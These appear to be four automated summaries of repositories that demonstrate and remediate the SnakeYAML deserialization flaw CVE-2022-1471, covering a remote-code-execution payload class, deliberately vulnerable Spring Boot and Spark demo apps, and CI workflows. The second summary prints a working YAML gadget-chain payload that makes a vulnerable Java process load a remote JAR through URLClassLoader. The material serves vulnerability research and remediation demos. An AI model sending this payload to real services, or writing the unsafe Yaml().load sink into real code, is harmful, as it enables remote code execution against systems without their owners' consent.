SnakeYAML Constructor Deserialization Remote Code Execution

This repository is a compact Java exploit payload for CVE-2022-1471 (SnakeYAML unsafe deserialization). It contains three files: a README explaining the exploit chain and usage, a Java SPI registration file under src/META-INF/services, and the main payload class src/artsploit/AwesomeScriptEngineFactory.java. The exploit is not a scanner or detector; it is an active RCE payload intended to be loaded remotely as a JAR through a SnakeYAML gadget chain using ScriptEngineManager and URLClassLoader. Core structure and purpose: - README.md documents the malicious YAML payload string, build steps, and intended demo usage. - src/META-INF/services/javax.script.ScriptEngineFactory registers artsploit.AwesomeScriptEngineFactory as a ScriptEngineFactory provider so Java's Service Provider Interface loads it automatically. - src/artsploit/AwesomeScriptEngineFactory.java contains the exploit logic. The constructor is the effective entry point because instantiation alone triggers code execution. Main exploit capabilities observed: - Achieves arbitrary code execution when a vulnerable application deserializes attacker-controlled YAML with SnakeYAML's unsafe load path. - Uses remote class loading from a GitHub-hosted JAR URL. - Executes OS-specific commands to launch Calculator on macOS, Windows, or Linux as immediate proof of execution. - Attempts reflective Tomcat Valve injection to hijack the live request pipeline of a running Java web app, especially Spring Boot with Tomcat, so subsequent responses are replaced with a custom PWNED HTML page. - If Tomcat takeover fails, starts a fallback HTTP server on port 9999 and serves the same PWNED content there. - Attempts browser automation to open the hijacked/fallback URL. - README indicates optional ngrok awareness/discovery so the exploit can expose or reuse a public URL. The payload is operational rather than merely demonstrative: it includes a concrete malicious HTML payload, OS command execution, persistence within the running web process via Valve injection, and a network-facing fallback server. The code shown is clearly designed for visible application takeover and proof of RCE, not stealth or post-exploitation depth.

This repository is a deliberately vulnerable Spring Boot demo application rather than a standalone exploit toolkit, but it contains a real exploitable sink for CVE-2022-1471. The main exploit path is in src/main/java/io/sealsecurity/demo/controller/HelloController.java: the POST '/' handler accepts the 'name' parameter and passes it directly to new Yaml().load(name). Because the project pins org.yaml:snakeyaml:1.33, attacker-supplied YAML can trigger arbitrary object instantiation and, in the demonstrated payload, remote code execution. Repository structure is small and straightforward: DemoApplication.java is the Spring Boot entry point; HelloController.java exposes the vulnerable web endpoint and renders store.html; DataService.java demonstrates additional intentionally vulnerable libraries (Commons Text, Log4j, SnakeYAML) but is not wired to an externally reachable exploit path in the provided code; application.properties sets server.port=8080; store.html is a large static storefront template; tests validate basic application behavior. The pom.xml intentionally pins multiple historically vulnerable dependencies for remediation/scanning demos, but the clearly weaponized path in this repo is the SnakeYAML issue. The GitHub Actions workflow .github/workflows/build-and-run.yml makes the exploit highly actionable by building the app, exposing it via ngrok, and printing a ready-to-use YAML payload: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]. That payload causes the Java process to load a remote JAR from raw.githubusercontent.com through a URLClassLoader. The README explicitly states that pasting this payload into the newsletter field achieves RCE and swaps the storefront for a 'You've Been PWNED' page. This makes the repository an operational demo exploit for a web-exposed Java deserialization/object-instantiation vulnerability. Overall capability: exploit a web form on '/' by submitting crafted YAML in the 'name' field, causing unsafe SnakeYAML parsing and remote class loading. Attack vector is primarily web/network. The exploit is not part of Metasploit/Nuclei/etc., and it is not merely a detector or README-only sample.

This repository is a small Java/Maven Spring Boot demo application intentionally built to demonstrate exploitation of SnakeYAML unsafe deserialization (CVE-2022-1471) and then show remediation via Seal Security. It is not just documentation: the core exploit behavior is implemented in application code, primarily in src/main/java/io/sealsecurity/demo/controller/HelloController.java. Repository structure: DemoApplication.java is the Spring Boot entry point; HelloController.java contains the vulnerable web endpoint and exploit logic; DataService.java contains additional examples of vulnerable dependency usage (Commons Text, SnakeYAML, Log4j) but is not the main exploit path; application.properties sets the app name and port 8080; DemoApplicationTests.java provides basic tests. Supporting files include pom.xml with intentionally vulnerable dependency versions, GitHub Actions workflows that build/run the app and expose it via ngrok, a Jenkinsfile showing CI integration, and .seal-actions.yml mapping vulnerable dependencies to sealed versions. Main exploit capability: the root route '/' accepts a 'name' parameter over GET or POST and passes it directly to new Yaml().load(name). If the input contains a YAML global tag such as '!!javax.script.ScriptEngineManager []', vulnerable SnakeYAML 1.33 will instantiate the attacker-specified Java type. The controller treats this as an exploit attempt, returns a 'You've been pwned' HTML page, and asynchronously calls Runtime.getRuntime().halt(1) after a short delay, killing the JVM. This makes the exploit operational as a remote unauthenticated denial-of-service demonstration and a proof of arbitrary type instantiation. The code does not include a full gadget chain for arbitrary code execution, but the README explicitly frames it as the object-injection primitive behind RCE. The exploit is web/network-based, requiring only HTTP access to the application. Fingerprintable targets include the '/' endpoint, the 'name' parameter, localhost:8080 for local testing, and a hardcoded public ngrok hostname used in CI demos. The workflows also contain external infrastructure references for ngrok and Seal CLI downloads. Overall, this is a legitimate exploit/demo repository for CVE-2022-1471 with an intentionally vulnerable application and CI automation to demonstrate both exploitation and remediation.

This repository is a proof-of-concept (POC) exploit for CVE-2022-1471, a critical deserialization vulnerability in SnakeYAML (version 1.33). The project is a simple Java web application using the Spark framework, exposing HTTP endpoints on port 8080. The main entry point is 'App.java', which provides two endpoints: a GET endpoint that serializes a sample Student object to YAML, and a POST endpoint that deserializes user-supplied YAML into a Student object using SnakeYAML's unsafe Constructor. The exploit demonstrates how an attacker can send a malicious YAML payload to the POST endpoint, causing the vulnerable application to perform unintended actions, such as making outbound HTTP requests (as shown in the README). The repository includes Docker support for easy deployment and testing. The exploit does not provide a weaponized payload but clearly demonstrates the vulnerability and its impact.